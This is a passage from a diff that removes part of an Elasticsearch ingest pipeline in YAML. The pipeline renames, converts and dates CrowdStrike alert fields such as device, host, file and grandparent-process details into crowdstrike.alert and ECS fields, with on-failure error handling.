-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.category
-      tag: set_event_category_process
-      value: ['process']
-      if: ctx.json?.process_id != null || ctx.json?.triggering_process_graph_id != null
-  - set:
-      field: event.type
-      tag: set_event_type_start
-      value: ['start']
-      if: ctx.json?.process_start_time != null
-  - convert:
-      field: json.active_directory_authentication_method
-      tag: convert_active_directory_authentication_method_to_long
-      target_field: crowdstrike.alert.active_directory_authentication_method
-      type: long
-      if: ctx.json?.active_directory_authentication_method != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.activity_browser
-      tag: rename_activity_browser
-      target_field: crowdstrike.alert.activity.browser
-      ignore_missing: true
-  - rename:
-      field: json.activity_device
-      tag: rename_activity_device
-      target_field: crowdstrike.alert.activity.device
-      ignore_missing: true
-  - rename:
-      field: json.activity_id
-      tag: rename_activity_id
-      target_field: crowdstrike.alert.activity.id
-      ignore_missing: true
-  - rename:
-      field: json.activity_os
-      tag: rename_activity_os
-      target_field: crowdstrike.alert.activity.os
-      ignore_missing: true
-  - rename:
-      field: json.agent_id
-      tag: rename_agent_id
-      target_field: crowdstrike.alert.agent_id
-      ignore_missing: true
-  - set:
-      field: host.id
-      tag: set_host_id_from_alert_agent_id
-      copy_from: crowdstrike.alert.agent_id
-      ignore_empty_value: true
-  - rename:
-      field: json.agent_scan_id
-      tag: rename_agent_scan_id
-      target_field: crowdstrike.alert.agent_scan_id
-      ignore_missing: true
-  - rename:
-      field: json.aggregate_id
-      tag: rename_aggregate_id
-      target_field: crowdstrike.alert.aggregate_id
-      ignore_missing: true
-  - convert:
-      field: json.alert_attributes
-      tag: convert_alert_attributes_to_long
-      target_field: crowdstrike.alert.alert_attributes
-      type: long
-      if: ctx.json?.alert_attributes != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.alleged_filetype
-      tag: rename_alleged_filetype
-      target_field: crowdstrike.alert.alleged_filetype
-      ignore_missing: true
-  - rename:
-      field: json.assigned_to_name
-      tag: rename_assigned_to_name
-      target_field: crowdstrike.alert.assigned_to.name
-      ignore_missing: true
-  - rename:
-      field: json.assigned_to_uid
-      tag: rename_assigned_to_uid
-      target_field: crowdstrike.alert.assigned_to.uid
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_crowdstrike_alert_assigned_to_uid_into_related_user
-      value: '{{{crowdstrike.alert.assigned_to.uid}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.assigned_to?.uid != null
-  - rename:
-      field: json.assigned_to_uuid
-      tag: rename_assigned_to_uuid
-      target_field: crowdstrike.alert.assigned_to.uuid
-      ignore_missing: true
-  - foreach:
-      field: json.associated_files
-      if: ctx.json?.associated_files instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_associated_files_sha256_into_related_hash
-          value: '{{{_ingest._value.sha256}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.associated_files
-      tag: rename_associated_files
-      target_field: crowdstrike.alert.associated_files
-      ignore_missing: true
-  - rename:
-      field: json.child_process_ids
-      tag: rename_child_process_ids
-      target_field: crowdstrike.alert.child_process_ids
-      ignore_missing: true
-  - rename:
-      field: json.cid
-      tag: rename_cid
-      target_field: crowdstrike.alert.cid
-      ignore_missing: true
-  - convert:
-      field: json.cloud_indicator
-      tag: convert_cloud_indicator_to_boolean
-      target_field: crowdstrike.alert.cloud_indicator
-      type: boolean
-      if: ctx.json?.cloud_indicator != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.prevented
-      tag: convert_prevented_to_boolean
-      target_field: crowdstrike.alert.prevented
-      type: boolean
-      if: ctx.json?.prevented != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.worker_node_name
-      tag: rename_worker_node_name
-      target_field: crowdstrike.alert.worker_node_name
-      ignore_missing: true
-  - rename:
-      field: json.cmdline
-      tag: rename_cmdline
-      target_field: crowdstrike.alert.cmdline
-      ignore_missing: true
-  - rename:
-      field: json.command_line
-      tag: rename_command_line
-      target_field: crowdstrike.alert.command_line
-      ignore_missing: true
-  - set:
-      field: process.command_line
-      tag: set_process_command_line
-      copy_from: crowdstrike.alert.command_line
-      ignore_empty_value: true
-  - rename:
-      field: json.comment
-      tag: rename_comment
-      target_field: crowdstrike.alert.comment
-      ignore_missing: true
-  - rename:
-      field: json.composite_id
-      tag: rename_composite_id
-      target_field: crowdstrike.alert.composite_id
-      ignore_missing: true
-  - convert:
-      field: json.confidence
-      tag: convert_confidence_to_long
-      target_field: crowdstrike.alert.confidence
-      type: long
-      if: ctx.json?.confidence != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.context_timestamp
-      tag: date_context_timestamp
-      target_field: crowdstrike.alert.context_timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.context_timestamp != null && ctx.json.context_timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.control_graph_id
-      tag: rename_control_graph_id
-      target_field: crowdstrike.alert.control_graph_id
-      ignore_missing: true
-  - rename:
-      field: json.crawl_edge_ids.Sensor
-      tag: rename_crawl_edge_ids_Sensor
-      target_field: crowdstrike.alert.crawl_edge_ids.Sensor
-      ignore_missing: true
-  - rename:
-      field: json.crawl_vertex_ids.Sensor
-      tag: rename_crawl_vertex_ids_Sensor
-      target_field: crowdstrike.alert.crawl_vertex_ids.Sensor
-      ignore_missing: true
-  - date:
-      field: json.crawled_timestamp
-      tag: date_crawled_timestamp
-      target_field: crowdstrike.alert.crawled_timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.crawled_timestamp != null && ctx.json.crawled_timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.created_timestamp
-      tag: date_created_timestamp
-      target_field: crowdstrike.alert.created_timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.created_timestamp != null && ctx.json.created_timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.data_domains
-      tag: rename_data_domains
-      target_field: crowdstrike.alert.data_domains
-      ignore_missing: true
-  - rename:
-      field: json.description
-      tag: rename_description
-      target_field: crowdstrike.alert.description
-      ignore_missing: true
-  - set:
-      field: message
-      tag: set_message_from_alert_description
-      copy_from: crowdstrike.alert.description
-      ignore_empty_value: true
-  - rename:
-      field: json.detect_type
-      tag: rename_detect_type
-      target_field: crowdstrike.alert.detect_type
-      ignore_missing: true
-  - convert:
-      field: json.device.agent_load_flags
-      tag: convert_device_agent_load_flags_to_long
-      target_field: crowdstrike.alert.device.agent_load_flags
-      type: long
-      if: ctx.json?.device?.agent_load_flags != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.device.agent_local_time
-      tag: date_device_agent_local_time
-      target_field: crowdstrike.alert.device.agent_local_time
-      formats:
-        - ISO8601
-      if: ctx.json?.device?.agent_local_time != null && ctx.json.device.agent_local_time != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.device.agent_version
-      tag: rename_device_agent_version
-      target_field: crowdstrike.alert.device.agent_version
-      ignore_missing: true
-  - rename:
-      field: json.device.bios_manufacturer
-      tag: rename_device_bios_manufacturer
-      target_field: crowdstrike.alert.device.bios_manufacturer
-      ignore_missing: true
-  - rename:
-      field: json.device.bios_version
-      tag: rename_device_bios_version
-      target_field: crowdstrike.alert.device.bios_version
-      ignore_missing: true
-  - rename:
-      field: json.device.cid
-      tag: rename_device_cid
-      target_field: crowdstrike.alert.device.cid
-      ignore_missing: true
-  - rename:
-      field: json.device.config_id_base
-      tag: rename_device_config_id_base
-      target_field: crowdstrike.alert.device.config_id_base
-      ignore_missing: true
-  - rename:
-      field: json.device.config_id_build
-      tag: rename_device_config_id_build
-      target_field: crowdstrike.alert.device.config_id_build
-      ignore_missing: true
-  - convert:
-      field: json.device.config_id_platform
-      tag: convert_device_config_id_platform_to_long
-      target_field: crowdstrike.alert.device.config_id_platform
-      type: long
-      if: ctx.json?.device?.config_id_platform != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.device.external_ip
-      tag: convert_device_external_ip_to_ip
-      target_field: crowdstrike.alert.device.external_ip
-      type: ip
-      ignore_missing: true
-      if: ctx.json?.device?.external_ip != null && ctx.json.device.external_ip != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - append:
-      field: related.ip
-      tag: append_crowdstrike_alert_device_external_ip_into_related_ip
-      value: '{{{crowdstrike.alert.device.external_ip}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.device?.external_ip != null
-  - append:
-      field: host.ip
-      tag: append_crowdstrike_alert_device_external_ip_into_host_ip
-      value: '{{{crowdstrike.alert.device.external_ip}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.device?.external_ip != null
-  - date:
-      field: json.device.first_seen
-      tag: date_device_first_seen
-      target_field: crowdstrike.alert.device.first_seen
-      formats:
-        - ISO8601
-      if: ctx.json?.device?.first_seen != null && ctx.json.device.first_seen != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.device.groups
-      tag: rename_device_groups
-      target_field: crowdstrike.alert.device.groups
-      ignore_missing: true
-  - rename:
-      field: json.device.hostinfo.active_directory_dn_display
-      tag: rename_device_hostinfo_active_directory_dn_display
-      target_field: crowdstrike.alert.device.hostinfo.active_directory_dn_display
-      ignore_missing: true
-  - rename:
-      field: json.device.hostinfo.domain
-      tag: rename_device_hostinfo_domain
-      target_field: crowdstrike.alert.device.hostinfo.domain
-      ignore_missing: true
-  - set:
-      field: host.domain
-      tag: set_host_domain_from_alert_device_hostinfo_domain
-      copy_from: crowdstrike.alert.device.hostinfo.domain
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      value: '{{{host.domain}}}'
-      allow_duplicates: false
-      if: ctx.host?.domain != null
-  - rename:
-      field: json.device.hostname
-      tag: rename_device_hostname
-      target_field: crowdstrike.alert.device.hostname
-      ignore_missing: true
-  - set:
-      field: host.hostname
-      tag: set_host_hostname_from_alert_device_hostname
-      copy_from: crowdstrike.alert.device.hostname
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      value: '{{{host.hostname}}}'
-      allow_duplicates: false
-      if: ctx.host?.hostname != null
-  - rename:
-      field: json.device.device_id
-      tag: rename_device_device_id
-      target_field: crowdstrike.alert.device.id
-      ignore_missing: true
-  - set:
-      field: device.id
-      tag: set_device_id_from_alert_device_id
-      copy_from: crowdstrike.alert.device.id
-      ignore_empty_value: true
-  - date:
-      field: json.device.last_seen
-      tag: date_device_last_seen
-      target_field: crowdstrike.alert.device.last_seen
-      formats:
-        - ISO8601
-      if: ctx.json?.device?.last_seen != null && ctx.json.device.last_seen != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.device.local_ip
-      tag: convert_device_local_ip_to_ip
-      target_field: crowdstrike.alert.device.local_ip
-      type: ip
-      ignore_missing: true
-      if: ctx.json?.device?.local_ip != null && ctx.json.device.local_ip != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - append:
-      field: related.ip
-      tag: append_crowdstrike_alert_device_local_ip_into_related_ip
-      value: '{{{crowdstrike.alert.device.local_ip}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.device?.local_ip != null
-  - append:
-      field: host.ip
-      tag: append_crowdstrike_alert_device_local_ip_into_host_ip
-      value: '{{{crowdstrike.alert.device.local_ip}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.device?.local_ip != null
-  - gsub:
-      field: json.device.mac_address
-      tag: gsub_device_mac_address
-      pattern: '[:.]'
-      replacement: '-'
-      target_field: crowdstrike.alert.device.mac_address
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - uppercase:
-      field: crowdstrike.alert.device.mac_address
-      tag: uppercase_device_mac_address
-      ignore_missing: true
-      if: ctx.crowdstrike?.alert?.device?.mac_address != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - append:
-      field: host.mac
-      value: '{{{crowdstrike.alert.device.mac_address}}}'
-      tag: append_device_mac_address_into_host_mac
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.device?.mac_address != null
-  - rename:
-      field: json.device.machine_domain
-      tag: rename_device_machine_domain
-      target_field: crowdstrike.alert.device.machine_domain
-      ignore_missing: true
-  - append:
-      field: related.hosts
-      value: '{{{crowdstrike.alert.device.machine_domain}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.device?.machine_domain != null
-  - rename:
-      field: json.device.major_version
-      tag: rename_device_major_version
-      target_field: crowdstrike.alert.device.major_version
-      ignore_missing: true
-  - rename:
-      field: json.device.minor_version
-      tag: rename_device_minor_version
-      target_field: crowdstrike.alert.device.minor_version
-      ignore_missing: true
-  - date:
-      field: json.device.modified_timestamp
-      tag: date_device_modified_timestamp
-      target_field: crowdstrike.alert.device.modified_timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.device?.modified_timestamp != null && ctx.json.device.modified_timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.device.os_version
-      tag: rename_device_os_version
-      target_field: crowdstrike.alert.device.os_version
-      ignore_missing: true
-  - set:
-      field: host.os.full
-      tag: set_host_os_full_from_alert_device_os_version
-      copy_from: crowdstrike.alert.device.os_version
-      ignore_empty_value: true
-  - rename:
-      field: json.device.ou
-      tag: rename_device_ou
-      target_field: crowdstrike.alert.device.ou
-      ignore_missing: true
-  - rename:
-      field: json.device.platform_id
-      tag: rename_device_platform_id
-      target_field: crowdstrike.alert.device.platform_id
-      ignore_missing: true
-  - rename:
-      field: json.device.platform_name
-      tag: rename_device_platform_name
-      target_field: crowdstrike.alert.device.platform_name
-      ignore_missing: true
-  - set:
-      field: host.os.platform
-      tag: set_host_os_platform_from_alert_device_platform_name
-      copy_from: crowdstrike.alert.device.platform_name
-      ignore_empty_value: true
-  - rename:
-      field: json.device.pod_labels
-      tag: rename_device_pod_labels
-      target_field: crowdstrike.alert.device.pod_labels
-      ignore_missing: true
-  - rename:
-      field: json.device.product_type
-      tag: rename_device_product_type
-      target_field: crowdstrike.alert.device.product_type
-      ignore_missing: true
-  - rename:
-      field: json.device.product_type_desc
-      tag: rename_device_product_type_desc
-      target_field: crowdstrike.alert.device.product_type_desc
-      ignore_missing: true
-  - rename:
-      field: json.device.site_name
-      tag: rename_device_site_name
-      target_field: crowdstrike.alert.device.site_name
-      ignore_missing: true
-  - rename:
-      field: json.device.status
-      tag: rename_device_status
-      target_field: crowdstrike.alert.device.status
-      ignore_missing: true
-  - rename:
-      field: json.device.system_manufacturer
-      tag: rename_device_system_manufacturer
-      target_field: crowdstrike.alert.device.system_manufacturer
-      ignore_missing: true
-  - set:
-      field: device.manufacturer
-      tag: set_device_manufacturer
-      copy_from: crowdstrike.alert.device.system_manufacturer
-      ignore_empty_value: true
-  - rename:
-      field: json.device.system_product_name
-      tag: rename_device_system_product_name
-      target_field: crowdstrike.alert.device.system_product_name
-      ignore_missing: true
-  - set:
-      field: device.model.name
-      tag: set_device_model_name
-      copy_from: crowdstrike.alert.device.system_product_name
-      ignore_empty_value: true
-  - rename:
-      field: json.device.tags
-      tag: rename_device_tags
-      target_field: crowdstrike.alert.device.tags
-      ignore_missing: true
-  - foreach:
-      field: crowdstrike.alert.device.tags
-      if: ctx.crowdstrike?.alert?.device?.tags instanceof List
-      processor:
-        append:
-          field: tags
-          tag: append_device_tags_into_tags
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.display_name
-      tag: rename_display_name
-      target_field: crowdstrike.alert.display_name
-      ignore_missing: true
-  - foreach:
-      field: json.documents_accessed
-      if: ctx.json?.documents_accessed instanceof List
-      processor:
-        date:
-          field: _ingest._value.timestamp
-          tag: date_documents_accessed_timestamp
-          target_field: _ingest._value.timestamp
-          formats:
-            - UNIX
-            - UNIX_MS
-          on_failure:
-            - remove:
-                field: _ingest._value.timestamp
-                ignore_missing: true
-  - rename:
-      field: json.documents_accessed
-      tag: rename_documents_accessed
-      target_field: crowdstrike.alert.documents_accessed
-      ignore_missing: true
-  - convert:
-      field: json.email_sent
-      tag: convert_email_sent_to_boolean
-      target_field: crowdstrike.alert.email_sent
-      type: boolean
-      if: ctx.json?.email_sent != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.end_time
-      tag: date_end_time
-      target_field: crowdstrike.alert.end_time
-      formats:
-        - ISO8601
-      if: ctx.json?.end_time != null && ctx.json.end_time != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.end
-      tag: set_event_end_from_alert_end_time
-      copy_from: crowdstrike.alert.end_time
-      ignore_empty_value: true
-  - rename:
-      field: json.event_id
-      tag: rename_event_id
-      target_field: crowdstrike.alert.event_id
-      ignore_missing: true
-  - foreach:
-      field: json.executables_written
-      if: ctx.json?.executables_written instanceof List
-      processor:
-        date:
-          field: _ingest._value.timestamp
-          tag: date_executables_written_timestamp
-          target_field: _ingest._value.timestamp
-          formats:
-            - UNIX
-            - UNIX_MS
-          on_failure:
-            - remove:
-                field: _ingest._value.timestamp
-                ignore_missing: true
-  - rename:
-      field: json.executables_written
-      tag: rename_executables_written
-      target_field: crowdstrike.alert.executables_written
-      ignore_missing: true
-  - rename:
-      field: json.falcon_host_link
-      tag: rename_falcon_host_link
-      target_field: crowdstrike.alert.falcon_host_link
-      ignore_missing: true
-  - rename:
-      field: json.filename
-      tag: rename_filename
-      target_field: crowdstrike.alert.filename
-      ignore_missing: true
-  - set:
-      field: file.name
-      tag: set_file_name_from_alert_filename
-      copy_from: crowdstrike.alert.filename
-      ignore_empty_value: true
-  - set:
-      field: process.name
-      tag: set_process_name
-      copy_from: crowdstrike.alert.filename
-      ignore_empty_value: true
-  - rename:
-      field: json.filepath
-      tag: rename_filepath
-      target_field: crowdstrike.alert.filepath
-      ignore_missing: true
-  - set:
-      field: file.path
-      tag: set_file_path_from_alert_filepath
-      copy_from: crowdstrike.alert.filepath
-      ignore_empty_value: true
-  - set:
-      field: process.executable
-      tag: set_process_executable
-      copy_from: crowdstrike.alert.filepath
-      ignore_empty_value: true
-  - foreach:
-      field: json.file_writes
-      if: ctx.json?.file_writes instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_file_writes_sha256_into_related_hash
-          value: '{{{_ingest._value.sha256}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.file_writes
-      tag: rename_file_writes
-      target_field: crowdstrike.alert.file_writes
-      ignore_missing: true
-  - foreach:
-      field: json.files_accessed
-      if: ctx.json?.files_accessed instanceof List
-      processor:
-        date:
-          field: _ingest._value.timestamp
-          tag: date_files_accessed_timestamp
-          target_field: _ingest._value.timestamp
-          formats:
-            - UNIX
-            - UNIX_MS
-          on_failure:
-            - remove:
-                field: _ingest._value.timestamp
-                ignore_missing: true
-  - rename:
-      field: json.files_accessed
-      tag: rename_files_accessed
-      target_field: crowdstrike.alert.files_accessed
-      ignore_missing: true
-  - foreach:
-      field: json.files_written
-      if: ctx.json?.files_written instanceof List
-      processor:
-        date:
-          field: _ingest._value.timestamp
-          tag: date_files_written_timestamp
-          target_field: _ingest._value.timestamp
-          formats:
-            - UNIX
-            - UNIX_MS
-          on_failure:
-            - remove:
-                field: _ingest._value.timestamp
-                ignore_missing: true
-  - rename:
-      field: json.files_written
-      tag: rename_files_written
-      target_field: crowdstrike.alert.files_written
-      ignore_missing: true
-  - rename:
-      field: json.global_prevalence
-      tag: rename_global_prevalence
-      target_field: crowdstrike.alert.global_prevalence
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.cmdline
-      tag: rename_grandparent_details_cmdline
-      target_field: crowdstrike.alert.grandparent_details.cmdline
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.filename
-      tag: rename_grandparent_details_filename
-      target_field: crowdstrike.alert.grandparent_details.filename
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.filepath
-      tag: rename_grandparent_details_filepath
-      target_field: crowdstrike.alert.grandparent_details.filepath
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.local_process_id
-      tag: rename_grandparent_details_local_process_id
-      target_field: crowdstrike.alert.grandparent_details.local_process_id
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.md5
-      tag: rename_grandparent_details_md5
-      target_field: crowdstrike.alert.grandparent_details.md5
-      ignore_missing: true
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.grandparent_details.md5}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.grandparent_details?.md5 != null
-  - rename:
-      field: json.grandparent_details.process_graph_id
-      tag: rename_grandparent_details_process_graph_id
-      target_field: crowdstrike.alert.grandparent_details.process_graph_id
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.process_id
-      tag: rename_grandparent_details_process_id
-      target_field: crowdstrike.alert.grandparent_details.process_id
-      ignore_missing: true
-  - rename:
-      field: json.grandparent_details.sha256
-      tag: rename_grandparent_details_sha256
-      target_field: crowdstrike.alert.grandparent_details.sha256
-      ignore_missing: true
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.grandparent_details.sha256}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.grandparent_details?.sha256 != null
-  - date:
-      field: json.grandparent_details.timestamp
-      tag: date_grandparent_details_timestamp
-      target_field: crowdstrike.alert.grandparent_details.timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.grandparent_details?.timestamp != null && ctx.json.grandparent_details.timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.grandparent_details.user_graph_id
-      tag: rename_grandparent_details_user_graph_id
-      target_field: crowdstrike.alert.grandparent_details.user_graph_id
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_user_graph_id_into_related_user
-      value: '{{{crowdstrike.alert.grandparent_details.user_graph_id}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.grandparent_details?.user_graph_id != null
-  - rename:
-      field: json.grandparent_details.user_id
-      tag: rename_grandparent_details_user_id
-      target_field: crowdstrike.alert.grandparent_details.user_id
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_grandparent_details_user_id_into_related_user
-      value: '{{{crowdstrike.alert.grandparent_details.user_id}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.grandparent_details?.user_id != null
-  - rename:
-      field: json.grandparent_details.user_name
-      tag: rename_grandparent_details_user_name
-      target_field: crowdstrike.alert.grandparent_details.user_name
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_grandparent_details_user_name_into_related_user
-      value: '{{{crowdstrike.alert.grandparent_details.user_name}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.grandparent_details?.user_name != null
-  - convert:
-      field: json.has_script_or_module_ioc
-      tag: convert_has_script_or_module_ioc_to_boolean
-      target_field: crowdstrike.alert.has_script_or_module_ioc
-      type: boolean
-      if: ctx.json?.has_script_or_module_ioc != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.host_name
-      tag: rename_host_name
-      target_field: crowdstrike.alert.host_name
-      ignore_missing: true
-  - set:
-      field: host.name
-      tag: set_host_name_from_alert_host_name
-      copy_from: crowdstrike.alert.host_name
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      value: '{{{host.name}}}'
-      allow_duplicates: false
-      if: ctx.host?.name != null
-  - rename:
-      field: json.host_type
-      tag: rename_host_type
-      target_field: crowdstrike.alert.host_type
-      ignore_missing: true
-  - set:
-      field: host.type
-      tag: set_host_type_from_alert_host_type
-      copy_from: crowdstrike.alert.host_type
-      ignore_empty_value: true
-  - script:
-      tag: reconstruct_has_script_or_module_ioc_from_ioc_context
-      lang: painless
-      if: ctx.crowdstrike?.alert?.has_script_or_module_ioc == null && ctx.json?.ioc_context instanceof List
-      source: |
-        if (ctx.crowdstrike == null) {
-          ctx.crowdstrike = [:];
-        }
-        if (ctx.crowdstrike.alert == null) {
-          ctx.crowdstrike.alert = [:];
-        }
-        for (def c: ctx.json.ioc_context) {
-          if (c.type == 'module' || c.type == 'script') {
-            ctx.crowdstrike.alert.has_script_or_module_ioc = true;
-            return;
-          }
-        }
-        ctx.crowdstrike.alert.has_script_or_module_ioc = false;
-  - rename:
-      field: json.id
-      tag: rename_id
-      target_field: crowdstrike.alert.id
-      ignore_missing: true
-  - set:
-      field: event.id
-      tag: set_event_id_from_alert_id
-      copy_from: crowdstrike.alert.id
-      ignore_empty_value: true
-  - convert:
-      field: json.idp_policy_enforced_externally
-      tag: convert_idp_policy_enforced_externally_to_long
-      target_field: crowdstrike.alert.idp_policy.enforced_externally
-      type: long
-      if: ctx.json?.idp_policy_enforced_externally != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
